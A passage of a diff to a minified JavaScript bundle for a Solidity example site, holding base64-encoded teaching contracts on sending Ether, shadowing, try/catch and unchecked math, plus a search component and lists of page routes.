                int256 public defaultInt; // 0 address public defaultAddr; // 0x0000000000000000000000000000000000000000 } -`,zB=({prev:s,next:a})=>r.jsx(A,{version:KB,title:FB,description:MB,cyfrinLink:SB,html:JB,prev:s,next:a,codes:xB}),DB="0.8.26",EB="Sending Ether (transfer, send, call)",QB="An example of sending Ether in Solidity",TB="https://www.cyfrin.io/glossary/sending-ether-transfer-send-call-solidity-code-example",UB=[{fileName:"SendingEther.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IFJlY2VpdmVFdGhlciB7CiAgICAvKgogICAgV2hpY2ggZnVuY3Rpb24gaXMgY2FsbGVkLCBmYWxsYmFjaygpIG9yIHJlY2VpdmUoKT8KCiAgICAgICAgICAgc2VuZCBFdGhlcgogICAgICAgICAgICAgICB8CiAgICAgICAgIG1zZy5kYXRhIGlzIGVtcHR5PwogICAgICAgICAgICAgIC8gXAogICAgICAgICAgICB5ZXMgIG5vCiAgICAgICAgICAgIC8gICAgIFwKICAgIHJlY2VpdmUoKSBleGlzdHM/ICBmYWxsYmFjaygpCiAgICAgICAgIC8gICBcCiAgICAgICAgeWVzICAgbm8KICAgICAgICAvICAgICAgXAogICAgcmVjZWl2ZSgpICAgZmFsbGJhY2soKQogICAgKi8KCiAgICAvLyBGdW5jdGlvbiB0byByZWNlaXZlIEV0aGVyLiBtc2cuZGF0YSBtdXN0IGJlIGVtcHR5CiAgICByZWNlaXZlKCkgZXh0ZXJuYWwgcGF5YWJsZSB7fQoKICAgIC8vIEZhbGxiYWNrIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIG1zZy5kYXRhIGlzIG5vdCBlbXB0eQogICAgZmFsbGJhY2soKSBleHRlcm5hbCBwYXlhYmxlIHt9CgogICAgZnVuY3Rpb24gZ2V0QmFsYW5jZSgpIHB1YmxpYyB2aWV3IHJldHVybnMgKHVpbnQyNTYpIHsKICAgICAgICByZXR1cm4gYWRkcmVz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pOwogICAgfQp9Cg=="}],LB=`

                How to send Ether?

                +`,zB=({prev:s,next:a})=>r.jsx(A,{version:KB,title:FB,description:MB,cyfrinLink:SB,html:JB,prev:s,next:a,codes:xB}),DB="0.8.26",EB="Sending Ether (transfer, send, call)",QB="An example of sending Ether in Solidity",TB="https://www.cyfrin.io/glossary/sending-ether-transfer-send-call-solidity-code-example",LB=[{fileName:"SendingEther.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IFJlY2VpdmVFdGhlciB7CiAgICAvKgogICAgV2hpY2ggZnVuY3Rpb24gaXMgY2FsbGVkLCBmYWxsYmFjaygpIG9yIHJlY2VpdmUoKT8KCiAgICAgICAgICAgc2VuZCBFdGhlcgogICAgICAgICAgICAgICB8CiAgICAgICAgIG1zZy5kYXRhIGlzIGVtcHR5PwogICAgICAgICAgICAgIC8gXAogICAgICAgICAgICB5ZXMgIG5vCiAgICAgICAgICAgIC8gICAgIFwKICAgIHJlY2VpdmUoKSBleGlzdHM/ICBmYWxsYmFjaygpCiAgICAgICAgIC8gICBcCiAgICAgICAgeWVzICAgbm8KICAgICAgICAvICAgICAgXAogICAgcmVjZWl2ZSgpICAgZmFsbGJhY2soKQogICAgKi8KCiAgICAvLyBGdW5jdGlvbiB0byByZWNlaXZlIEV0aGVyLiBtc2cuZGF0YSBtdXN0IGJlIGVtcHR5CiAgICByZWNlaXZlKCkgZXh0ZXJuYWwgcGF5YWJsZSB7fQoKICAgIC8vIEZhbGxiYWNrIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIG1zZy5kYXRhIGlzIG5vdCBlbXB0eQogICAgZmFsbGJhY2soKSBleHRlcm5hbCBwYXlhYmxlIHt9CgogICAgZnVuY3Rpb24gZ2V0QmFsYW5jZSgpIHB1YmxpYyB2aWV3IHJldHVybnMgKHVpbnQyNTYpIHsKICAgICAgICByZXR1cm4gYWRkcmV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IpOwogICAgfQp9Cg=="}],UB=`

                How to send Ether?

                You can send Ether to other contracts by

                • transfer (2300 gas, throws error)
                • @@ -12177,7 +12177,7 @@ you can't send ether.

                  require(sent, "Failed to send Ether"); } } -`,_B=({prev:s,next:a})=>r.jsx(A,{version:DB,title:EB,description:QB,cyfrinLink:TB,html:LB,prev:s,next:a,codes:UB}),OB="0.8.26",PB="Shadowing Inherited State Variables",$B="An example of shadowing state variables by inheritance",qB="https://www.cyfrin.io/glossary/shadowing-inherited-state-variables-solidity-code-example",sf=[{fileName:"Shadow.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IEEgewogICAgc3RyaW5nIHB1YmxpYyBuYW1lID0gIkNvbnRyYWN0IEEiOwoKICAgIGZ1bmN0aW9uIGdldE5hbWUoKSBwdWJsaWMgdmlldyByZXR1cm5zIChzdHJpbmcgbWVtb3J5KSB7CiAgICAgICAgcmV0dXJuIG5hbWU7CiAgICB9Cn0KCi8vIFNoYWRvd2luZyBpcyBkaXNhbGxvd2VkIGluIFNvbGlkaXR5IDAuNgovLyBUaGlzIHdpbGwgbm90IGNvbXBpbGUKLy8gY29udHJhY3QgQiBpcyBBIHsKLy8gICAgIHN0cmluZyBwdWJsaWMgbmFtZSA9ICJDb250cmFjdCBCIjsKLy8gfQoKY29udHJhY3QgQyBpcyBBIHsKICAgIC8vIFRoaXMgaXMgdGhlIGNvcnJlY3Qgd2F5IHRvIG92ZXJyaWRlIGluaGVyaXRlZCBzdGF0ZSB2YXJpYWJsZXMuCiAgICBjb25zdHJ1Y3RvcigpIHsKICAgICAgICBuYW1lID0gIkNvbnRyYWN0IEMiOwogICAgfQoKICAgIC8vIEMuZ2V0TmFtZSByZXR1cm5zICJDb250cmFjdCBDIgp9Cg=="}],af=`

                  Unlike functions, state variables cannot be overridden by re-declaring it +`,_B=({prev:s,next:a})=>r.jsx(A,{version:DB,title:EB,description:QB,cyfrinLink:TB,html:UB,prev:s,next:a,codes:LB}),OB="0.8.26",PB="Shadowing Inherited State Variables",$B="An example of shadowing state variables by inheritance",qB="https://www.cyfrin.io/glossary/shadowing-inherited-state-variables-solidity-code-example",sf=[{fileName:"Shadow.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IEEgewogICAgc3RyaW5nIHB1YmxpYyBuYW1lID0gIkNvbnRyYWN0IEEiOwoKICAgIGZ1bmN0aW9uIGdldE5hbWUoKSBwdWJsaWMgdmlldyByZXR1cm5zIChzdHJpbmcgbWVtb3J5KSB7CiAgICAgICAgcmV0dXJuIG5hbWU7CiAgICB9Cn0KCi8vIFNoYWRvd2luZyBpcyBkaXNhbGxvd2VkIGluIFNvbGlkaXR5IDAuNgovLyBUaGlzIHdpbGwgbm90IGNvbXBpbGUKLy8gY29udHJhY3QgQiBpcyBBIHsKLy8gICAgIHN0cmluZyBwdWJsaWMgbmFtZSA9ICJDb250cmFjdCBCIjsKLy8gfQoKY29udHJhY3QgQyBpcyBBIHsKICAgIC8vIFRoaXMgaXMgdGhlIGNvcnJlY3Qgd2F5IHRvIG92ZXJyaWRlIGluaGVyaXRlZCBzdGF0ZSB2YXJpYWJsZXMuCiAgICBjb25zdHJ1Y3RvcigpIHsKICAgICAgICBuYW1lID0gIkNvbnRyYWN0IEMiOwogICAgfQoKICAgIC8vIEMuZ2V0TmFtZSByZXR1cm5zICJDb250cmFjdCBDIgp9Cg=="}],af=`

                  Unlike functions, state variables cannot be overridden by re-declaring it in the child contract.

                  Let's learn how to correctly override inherited state variables.

                  // SPDX-License-Identifier: MIT
                  @@ -12720,7 +12720,7 @@ echidna EchidnaTestTimeAndCaller.sol --contract EchidnaTestTimeAndCaller
                           msg.sender.call(b);
                       }
                   }
                  -
                  `,Qf=({prev:s,next:a})=>r.jsx(A,{version:Sf,title:xf,description:Jf,cyfrinLink:zf,html:Ef,prev:s,next:a,codes:Df}),Tf="0.8.26",Uf="Try Catch",Lf="An example of try / catch in Solidity",_f="https://www.cyfrin.io/glossary/try-catch-solidity-code-example",Of=[{fileName:"TryCatch.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCi8vIEV4dGVybmFsIGNvbnRyYWN0IHVzZWQgZm9yIHRyeSAvIGNhdGNoIGV4YW1wbGVzCmNvbnRyYWN0IEZvbyB7CiAgICBhZGRyZXNzIHB1YmxpYyBvd25lcjsKCiAgICBjb25zdHJ1Y3RvcihhZGRyZXNzIF9vd25lcikgewogICAgICAgIHJlcXVpcmUoX293bmVyICE9IGFkZHJlc3MoMCksICJpbnZhbGlkIGFkZHJlc3MiKTsKICAgICAgICBhc3NlcnQoX293bmVyICE9IDB4MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMSk7CiAgICAgICAgb3duZXIgPSBfb3duZXI7CiAgICB9CgogICAgZnVuY3Rpb24gbXlGdW5jKHVpbnQyNTYgeCkgcHVibGljIHB1cmUgcmV0dXJucyAoc3RyaW5nIG1lbW9yeSkgewogICAgICAgIHJlcXVpcmUoeCAhPSAwLCAicmVxdWlyZSBmYWlsZWQiKTsKICAgICAgICByZXR1cm4gIm15IGZ1bmMgd2FzIGNhbGxlZCI7CiAgICB9Cn0KCmNvbnRyYWN0IEJhciB7CiAgICBldmVudCBMb2coc3RyaW5nIG1lc3NhZ2UpOwogICAgZXZlbnQgTG9nQnl0ZXMoYnl0ZXMgZGF0YSk7CgogICAgRm9vIHB1YmxpYyBmb287CgogICAgY29uc3RydWN0b3IoKSB7CiAgICAgICAgLy8gVGhpcyBGb28gY29udHJhY3QgaXMgdXNlZCBmb3IgZXhhbXBsZSBvZiB0cnkgY2F0Y2ggd2l0aCBleHRlcm5hbCBjYWxsCiAgICAgICAgZm9vID0gbmV3IEZvb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KICAgICAgICB0cnkgbmV3IEZvbyhfb3duZXIpIHJldHVybnMgKEZvbyBmb28pIHsKICAgICAgICAgICAgLy8geW91IGNhbiB1c2UgdmFyaWFibGUgZm9vIGhlcmUKICAgICAgICAgICAgZW1pdCBMb2coIkZvbyBjcmVhdGVkIik7CiAgICAgICAgfSBjYXRjaCBFcnJvcihzdHJpbmcgbWVtb3J5IHJlYXNvbikgewogICAgICAgICAgICAvLyBjYXRjaCBmYWlsaW5nIHJldmVydCgpIGFuZCByZXF1aXJlKCkKICAgICAgICAgICAgZW1pdCBMb2cocmVhc29uKTsKICAgICAgICB9IGNhdGNoIChieXRlcyBtZW1vcnkgcmVhc29uKSB7CiAgICAgICAgICAgIC8vIGNhdGNoIGZhaWxpbmcgYXNzZXJ0KCkKICAgICAgICAgICAgZW1pdCBMb2dCeXRlcyhyZWFzb24pOwogICAgICAgIH0KICAgIH0KfQo="}],Pf=`

                  try / catch can only catch errors from external function calls and contract creation.

                  +`,Qf=({prev:s,next:a})=>r.jsx(A,{version:Sf,title:xf,description:Jf,cyfrinLink:zf,html:Ef,prev:s,next:a,codes:Df}),Tf="0.8.26",Lf="Try Catch",Uf="An example of try / catch in Solidity",_f="https://www.cyfrin.io/glossary/try-catch-solidity-code-example",Of=[{fileName:"TryCatch.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCi8vIEV4dGVybmFsIGNvbnRyYWN0IHVzZWQgZm9yIHRyeSAvIGNhdGNoIGV4YW1wbGVzCmNvbnRyYWN0IEZvbyB7CiAgICBhZGRyZXNzIHB1YmxpYyBvd25lcjsKCiAgICBjb25zdHJ1Y3RvcihhZGRyZXNzIF9vd25lcikgewogICAgICAgIHJlcXVpcmUoX293bmVyICE9IGFkZHJlc3MoMCksICJpbnZhbGlkIGFkZHJlc3MiKTsKICAgICAgICBhc3NlcnQoX293bmVyICE9IDB4MDAwMDAwMDAwMDAwMDAw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ch can only catch errors from external function calls and contract creation.

                  // SPDX-License-Identifier: MIT
                   pragma solidity ^0.8.26;
                   
                  @@ -12779,7 +12779,7 @@ echidna EchidnaTestTimeAndCaller.sol --contract EchidnaTestTimeAndCaller
                           }
                       }
                   }
                  -
                  `,$f=({prev:s,next:a})=>r.jsx(A,{version:Tf,title:Uf,description:Lf,cyfrinLink:_f,html:Pf,prev:s,next:a,codes:Of}),qf="0.8.26",sV="Unchecked Math",aV="An example of unchecked math in Solidity",nV="https://www.cyfrin.io/glossary/unchecked-math-solidity-code-example",lV=[{fileName:"UncheckedMath.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IFVuY2hlY2tlZE1hdGggewogICAgZnVuY3Rpb24gYWRkKHVpbnQyNTYgeCwgdWludDI1NiB5KSBleHRlcm5hbCBwdXJlIHJldHVybnMgKHVpbnQyNTYpIHsKICAgICAgICAvLyAyMjI5MSBnYXMKICAgICAgICAvLyByZXR1cm4geCArIHk7CgogICAgICAgIC8vIDIyMTAzIGdhcwogICAgICAgIHVuY2hlY2tlZCB7CiAgICAgICAgICAgIHJldHVybiB4ICsgeTsKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gc3ViKHVpbnQyNTYgeCwgdWludDI1NiB5KSBleHRlcm5hbCBwdXJlIHJldHVybnMgKHVpbnQyNTYpIHsKICAgICAgICAvLyAyMjMyOSBnYXMKICAgICAgICAvLyByZXR1cm4geCAtIHk7CgogICAgICAgIC8vIDIyMTQ3IGdhcwogICAgICAgIHVuY2hlY2tlZCB7CiAgICAgICAgICAgIHJldHVybiB4IC0geTsKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gc3VtT2ZDdWJlcyh1aW50MjU2IHgsIHVpbnQyNTYgeSkgZXh0ZXJuYWwgcHVyZSByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgLy8gV3JhcCBjb21wbGV4IG1hdGggbG9naWMgaW5zaWRlIHVuY2hlY2tlZAogICAgICAgIHVuY2hlY2tlZCB7CiAgICAgICAgICAgIHVpbnQyNTYgeDMgPSB4ICogeCAqIHg7CiAgICAgICAgICAgIHVpbnQyNTYgeTMgPSB5ICogeSAqIHk7CgogICAgICAgICAgICByZXR1cm4geDMgKyB5MzsKICAgICAgICB9CiAgICB9Cn0K"}],pV=`

                  Overflow and underflow of numbers in Solidity 0.8 throw an error. This can be disabled by using unchecked.

                  +`,$f=({prev:s,next:a})=>r.jsx(A,{version:Tf,title:Lf,description:Uf,cyfrinLink:_f,html:Pf,prev:s,next:a,codes:Of}),qf="0.8.26",sV="Unchecked Math",aV="An example of unchecked math in Solidity",nV="https://www.cyfrin.io/glossary/unchecked-math-solidity-code-example",lV=[{fileName:"UncheckedMath.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IFVuY2hlY2tlZE1hdGggewogICAgZnVuY3Rpb24gYWRkKHVpbnQyNTYgeCwgdWludDI1NiB5KSBleHRlcm5hbCBwdXJlIHJldHVybnMgKHVpbnQyNTYpIHsKICAgICAgICAvLyAyMjI5MSBnYXMKICAgICAgICAvLyByZXR1cm4geCArIHk7CgogICAgICAgIC8vIDIyMTAzIGdhcwogICAgICAgIHVuY2hlY2tlZCB7CiAgICAgICAgICAgIHJldHVybiB4ICsgeTsKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gc3ViKHVpbnQyNTYgeCwgdWludDI1NiB5KSBleHRlcm5hbCBwdXJlIHJldHVybnMgKHVpbnQyNTYpIHsKICAgICAgICAvLyAyMjMyOSBnYXMKICAgICAgICAvLyByZXR1cm4geCAtIHk7CgogICAgICAgIC8vIDIyMTQ3IGdhcwogICAgICAgIHVuY2hlY2tlZCB7CiAgICAgICAgICAgIHJldHVybiB4IC0geTsKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gc3VtT2ZDdWJlcyh1aW50MjU2IHgsIHVpbnQyNTYgeSkgZXh0ZXJuYWwgcHVyZSByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgLy8gV3JhcCBjb21wbGV4IG1hdGggbG9naWMgaW5zaWRlIHVuY2hlY2tlZAogICAgICAgIHVuY2hlY2tlZCB7CiAgICAgICAgICAgIHVpbnQyNTYgeDMgPSB4ICogeCAqIHg7CiAgICAgICAgICAgIHVpbnQyNTYgeTMgPSB5ICogeSAqIHk7CgogICAgICAgICAgICByZXR1cm4geDMgKyB5MzsKICAgICAgICB9CiAgICB9Cn0K"}],pV=`

                  Overflow and underflow of numbers in Solidity 0.8 throw an error. This can be disabled by using unchecked.

                  Disabling overflow / underflow check saves gas.

                  // SPDX-License-Identifier: MIT
                   pragma solidity ^0.8.26;
                  @@ -13026,4 +13026,4 @@ echidna EchidnaTestTimeAndCaller.sol --contract EchidnaTestTimeAndCaller
                           return internalFunc();
                       }
                   }
                  -
                  `,vV=({prev:s,next:a})=>r.jsx(A,{version:BV,title:fV,description:VV,cyfrinLink:YV,html:RV,prev:s,next:a,codes:XV}),NV=({size:s,className:a=""})=>r.jsx("svg",{xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",strokeWidth:2,stroke:"currentColor",width:s,height:s,className:a,children:r.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-5.197-5.197m0 0A7.5 7.5 0 105.196 5.196a7.5 7.5 0 0010.607 10.607z"})}),HV="_component_efeb7_1",KV="_icon_efeb7_8",FV="_input_efeb7_12",Ie={component:HV,icon:KV,input:FV},MV=({value:s,onChange:a})=>{function n(l){a(l.target.value)}return r.jsxs("div",{className:Ie.component,children:[r.jsx(NV,{size:18,className:Ie.icon}),r.jsx("input",{className:Ie.input,placeholder:"Search",value:s,onChange:n})]})};var SV="Expected a function",Xo=NaN,xV="[object Symbol]",JV=/^\s+|\s+$/g,zV=/^[-+]0x[0-9a-f]+$/i,DV=/^0b[01]+$/i,EV=/^0o[0-7]+$/i,QV=parseInt,TV=typeof Il=="object"&&Il&&Il.Object===Object&&Il,UV=typeof self=="object"&&self&&self.Object===Object&&self,LV=TV||UV||Function("return this")(),_V=Object.prototype,OV=_V.toString,PV=Math.max,$V=Math.min,de=function(){return LV.Date.now()};function qV(s,a,n){var l,p,e,c,t,o,i=0,I=!1,d=!1,j=!0;if(typeof s!="function")throw new TypeError(SV);a=Ro(a)||0,gc(n)&&(I=!!n.leading,d="maxWait"in n,e=d?PV(Ro(n.maxWait)||0,a):e,j="trailing"in n?!!n.trailing:j);function u(k){var B=l,Y=p;return l=p=void 0,i=k,c=s.apply(Y,B),c}function m(k){return i=k,t=setTimeout(h,a),I?u(k):c}function b(k){var B=k-o,Y=k-i,x=a-B;return d?$V(x,e-Y):x}function G(k){var B=k-o,Y=k-i;return o===void 0||B>=a||B<0||d&&Y>=e}function h(){var k=de();if(G(k))return g(k);t=setTimeout(h,b(k))}function g(k){return t=void 0,j&&l?u(k):(l=p=void 0,c)}function C(){t!==void 0&&clearTimeout(t),i=0,l=o=p=t=void 0}function y(){return t===void 0?c:g(de())}function Z(){var k=de(),B=G(k);if(l=arguments,p=this,o=k,B){if(t===void 0)return m(o);if(d)return t=setTimeout(h,a),u(o)}return t===void 0&&(t=setTimeout(h,a)),c}return Z.cancel=C,Z.flush=y,Z}function gc(s){var a=typeof s;return!!s&&(a=="object"||a=="function")}function s1(s){return!!s&&typeof s=="object"}function a1(s){return typeof s=="symbol"||s1(s)&&OV.call(s)==xV}function Ro(s){if(typeof s=="number")return s;if(a1(s))return Xo;if(gc(s)){var a=typeof s.valueOf=="function"?s.valueOf():s;s=gc(a)?a+"":a}if(typeof s!="string")return s===0?s:+s;s=s.replace(JV,"");var n=DV.test(s);return n||EV.test(s)?QV(s.slice(2),n?2:8):zV.test(s)?Xo:+s}var n1=qV;const l1=Fo(n1),p1={leading:!1,trailing:!0};function e1(s,a,n){return W.useCallback(l1(s,a,p1),n)}function c1(s,a){let n=s;for(let l=0;l0;){const[e,c,t]=a.pop();p&&(l=l.slice(0,c-1),p=!1),l+=e;const o=Object.keys(t);if(o.length>0)for(let i=0;ia+p)}const r1=["/visibility"],i1=["/visibility","/view-and-pure-functions","/sending-ether","/hashing","/function-selector","/function-modifier","/function","/fallback","/delegatecall","/calling-contract","/call"],g1=["/visibility"],h1=["/visibility","/hacks/hiding-malicious-code-with-external-contract"],I1=["/view-and-pure-functions"],d1=["/view-and-pure-functions"],C1=["/variables","/structs","/state-variables","/shadowing-inherited-state-variables","/primitives","/mapping","/immutable","/evm/storage","/ether-units","/enum","/constants","/assembly-variable","/array"],j1=["/variables","/structs","/state-variables","/shadowing-inherited-state-variables","/primitives","/mapping","/immutable","/ether-units","/enum","/constants","/array"],A1=["/variables"],u1=["/variables"],y1=["/variables","/state-variables","/shadowing-inherited-state-variables","/evm/storage"],m1=["/variables","/user-defined-value-types","/structs","/primitives","/mapping","/immutable","/hacks/accessing-private-data","/evm/storage","/evm/memory","/ether-units","/enum","/data-locations","/constants","/array","/app/iterable-mapping"],b1=["/user-defined-value-types"],w1=["/user-defined-value-types"],k1=["/user-defined-value-types"],Z1=["/user-defined-value-types","/structs","/primitives"],W1=["/user-defined-value-types"],G1=["/unchecked-math","/gas-golf","/gas"],B1=["/unchecked-math"],f1=["/unchecked-math","/assembly-math","/app/assembly-bin-exp"],V1=["/unchecked-math","/hacks/overflow"],Y1=["/unchecked-math","/hacks/overflow"],X1=["/try-catch","/foundry/error","/error","/assembly-error"],R1=["/try-catch","/error"],v1=["/transient-storage"],N1=["/transient-storage","/hacks/accessing-private-data","/evm/storage","/data-locations","/app/write-to-any-slot"],H1=["/tests/echidna"],K1=["/tests/echidna"],F1=["/super","/calling-contract"],M1=["/super"],S1=["/super","/new-contract","/interface","/inheritance","/hello-world","/hacks/hiding-malicious-code-with-external-contract","/hacks/deploy-different-contracts-same-address","/hacks/contract-size","/first-app","/delegatecall","/constructor","/calling-contract","/call","/app/simple-bytecode-contract","/app/minimal-proxy","/app/deploy-any-contract","/app/create2"],x1=["/super","/new-contract","/interface","/inheritance","/first-app","/delegatecall","/calling-contract","/call"],J1=["/super","/shadowing-inherited-state-variables","/inheritance","/constructor"],z1=["/structs"],D1=["/structs"],E1=["/structs","/primitives"],Q1=["/state-variables"],T1=["/state-variables"],U1=["/state-variables","/hello-world","/first-app","/app/write-to-any-slot","/app/upgradeable-proxy","/app/uni-directional-payment-channel","/app/time-lock","/app/simple-bytecode-contract","/app/multi-sig-wallet","/app/multi-delegatecall","/app/multi-call","/app/minimal-proxy","/app/merkle-tree","/app/iterable-mapping","/app/gasless-token-transfer","/app/ether-wallet","/app/erc721","/app/erc20","/app/erc1155","/app/english-auction","/app/dutch-auction","/app/deploy-any-contract","/app/crowd-fund","/app/create2","/app/bi-directional-payment-channel","/app/airdrop"],L1=["/state-variables","/hello-world","/first-app","/app/write-to-any-slot","/app/upgradeable-proxy","/app/uni-directional-payment-channel","/app/time-lock","/app/simple-bytecode-contract","/app/multi-sig-wallet","/app/multi-delegatecall","/app/multi-call","/app/minimal-proxy","/app/merkle-tree","/app/iterable-mapping","/app/gasless-token-transfer","/app/ether-wallet","/app/erc721","/app/erc20","/app/erc1155","/app/english-auction","/app/dutch-auction","/app/deploy-any-contract","/app/crowd-fund","/app/create2","/app/bi-directional-payment-channel","/app/airdrop"],_1=["/signature","/hashing","/hacks/signature-replay","/app/uni-directional-payment-channel","/app/merkle-tree","/app/bi-directional-payment-channel"],O1=["/signature"],P1=["/signature"],$1=["/signature","/hacks/signature-replay","/foundry/sign","/app/uni-directional-payment-channel","/app/multi-sig-wallet","/app/bi-directional-payment-channel"],q1=["/signature"],sY=["/signature","/foundry/sign"],aY=["/shadowing-inherited-state-variables"],nY=["/shadowing-inherited-state-variables"],lY=["/sending-ether"],pY=["/sending-ether","/sending-ether","/payable","/foundry/send","/fallback"],eY=["/sending-ether","/payable","/fallback","/ether-units","/app/ether-wallet"],cY=["/sending-ether","/payable","/fallback","/app/ether-wallet"],tY=["/sending-ether","/fallback","/app/gasless-token-transfer"],oY=["/sending-ether","/foundry/mock-call","/delegatecall","/calling-contract","/call","/app/multi-call"],rY=["/sending-ether","/fallback"],iY=["/sending-ether","/fallback"],gY=["/sending-ether","/payable","/fallback"],hY=["/primitives"],IY=["/primitives"],dY=["/primitives"],CY=["/primitives"],jY=["/primitives"],AY=["/primitives","/hacks/deploy-different-contracts-same-address","/app/create2"],uY=["/primitives"],yY=["/primitives"],mY=["/new-contract","/hacks/deploy-different-contracts-same-address"],bY=["/new-contract"],wY=["/new-contract","/hacks/deploy-different-contracts-same-address","/app/create2"],kY=["/new-contract","/hacks/deploy-different-contracts-same-address"],ZY=["/mapping","/app/iterable-mapping"],WY=["/loop","/assembly-loop"],GY=["/loop"],BY=["/library"],fY=["/interface"],VY=["/inheritance"],YY=["/inheritance"],XY=["/inheritance"],RY=["/immutable","/defi/constant-sum-amm","/defi/constant-product-amm","/constants"],vY=["/immutable","/constants"],NY=["/immutable"],HY=["/immutable"],KY=["/if-else"],FY=["/if-else"],MY=["/if-else"],SY=["/hello-world"],xY=["/hello-world"],JY=["/hashing"],zY=["/hashing"],DY=["/hashing"],EY=["/hacks/weth-permit","/hacks/vault-inflation","/hacks/signature-replay","/hacks/self-destruct","/hacks/re-entrancy","/hacks/randomness","/hacks/phishing-with-tx-origin","/hacks/overflow","/hacks/honeypot","/hacks/hiding-malicious-code-with-external-contract","/hacks/front-running","/hacks/deploy-different-contracts-same-address","/hacks/denial-of-service","/hacks/delegatecall","/hacks/contract-size","/hacks/block-timestamp-manipulation","/hacks/accessing-private-data"],QY=["/hacks/weth-permit","/hacks/vault-inflation","/hacks/signature-replay","/hacks/self-destruct","/hacks/re-entrancy","/hacks/randomness","/hacks/phishing-with-tx-origin","/hacks/overflow","/hacks/honeypot","/hacks/hiding-malicious-code-with-external-contract","/hacks/front-running","/hacks/deploy-different-contracts-same-address","/hacks/denial-of-service","/hacks/delegatecall","/hacks/contract-size","/hacks/block-timestamp-manipulation","/hacks/accessing-private-data","/events-advanced"],TY=["/hacks/weth-permit"],UY=["/hacks/weth-permit","/app/gasless-token-transfer"],LY=["/hacks/vault-inflation"],_Y=["/hacks/vault-inflation"],OY=["/hacks/vault-inflation","/defi/vault"],PY=["/hacks/signature-replay"],$Y=["/hacks/self-destruct"],qY=["/hacks/randomness"],sX=["/hacks/randomness"],aX=["/hacks/randomness"],nX=["/hacks/randomness"],lX=["/hacks/randomness","/hacks/block-timestamp-manipulation"],pX=["/hacks/randomness","/hacks/block-timestamp-manipulation"],eX=["/hacks/phishing-with-tx-origin"],cX=["/hacks/overflow"],tX=["/hacks/honeypot"],oX=["/hacks/hiding-malicious-code-with-external-contract"],rX=["/hacks/hiding-malicious-code-with-external-contract"],iX=["/hacks/hiding-malicious-code-with-external-contract"],gX=["/hacks/hiding-malicious-code-with-external-contract"],hX=["/hacks/front-running"],IX=["/hacks/front-running"],dX=["/hacks/deploy-different-contracts-same-address","/app/deploy-any-contract"],CX=["/hacks/deploy-different-contracts-same-address"],jX=["/hacks/deploy-different-contracts-same-address"],AX=["/hacks/denial-of-service"],uX=["/hacks/denial-of-service"],yX=["/hacks/delegatecall","/delegatecall","/app/upgradeable-proxy","/app/multi-delegatecall"],mX=["/hacks/contract-size"],bX=["/hacks/contract-size"],wX=["/hacks/contract-size"],kX=["/hacks/contract-size"],ZX=["/hacks/block-timestamp-manipulation"],WX=["/hacks/accessing-private-data"],GX=["/hacks/accessing-private-data"],BX=["/gas-golf"],fX=["/function-selector"],VX=["/function-selector"],YX=["/function-modifier"],XX=["/function-modifier"],RX=["/function-modifier"],vX=["/foundry/time","/foundry/sign","/foundry/send","/foundry/mock-call","/foundry/label","/foundry/event","/foundry/error","/foundry/basic","/foundry/auth"],NX=["/foundry/time","/app/time-lock"],HX=["/foundry/time"],KX=["/foundry/time"],FX=["/foundry/time"],MX=["/foundry/time"],SX=["/foundry/sign"],xX=["/foundry/send"],JX=["/foundry/send"],zX=["/foundry/mock-call"],DX=["/foundry/label"],EX=["/foundry/event","/events"],QX=["/foundry/basic"],TX=["/foundry/basic","/first-app"],UX=["/foundry/auth"],LX=["/foundry/auth"],_X=["/foundry/auth"],OX=["/first-app"],PX=["/evm/storage","/evm/memory"],$X=["/evm/storage","/evm/memory","/assembly-variable","/assembly-math","/assembly-loop","/assembly-if","/assembly-error","/app/assembly-bin-exp"],qX=["/evm/storage","/evm/memory","/bitwise","/assembly-variable","/assembly-math","/assembly-loop","/assembly-if","/assembly-error","/app/assembly-bin-exp"],sR=["/evm/memory","/data-locations"],aR=["/events-advanced","/events"],nR=["/events-advanced"],lR=["/events-advanced"],pR=["/events-advanced"],eR=["/ether-units"],cR=["/ether-units"],tR=["/error"],oR=["/error","/assembly-error"],rR=["/error"],iR=["/enum"],gR=["/defi/vault","/defi/uniswap-v3-swap","/defi/uniswap-v3-liquidity","/defi/uniswap-v3-flash-swap","/defi/uniswap-v3-flash","/defi/uniswap-v2-optimal-one-sided-supply","/defi/uniswap-v2-flash-swap","/defi/uniswap-v2-add-remove-liquidity","/defi/uniswap-v2","/defi/staking-rewards","/defi/stable-swap-amm","/defi/discrete-staking-rewards","/defi/dai-proxy","/defi/constant-sum-amm","/defi/constant-product-amm","/defi/chainlink-price-oracle"],hR=["/def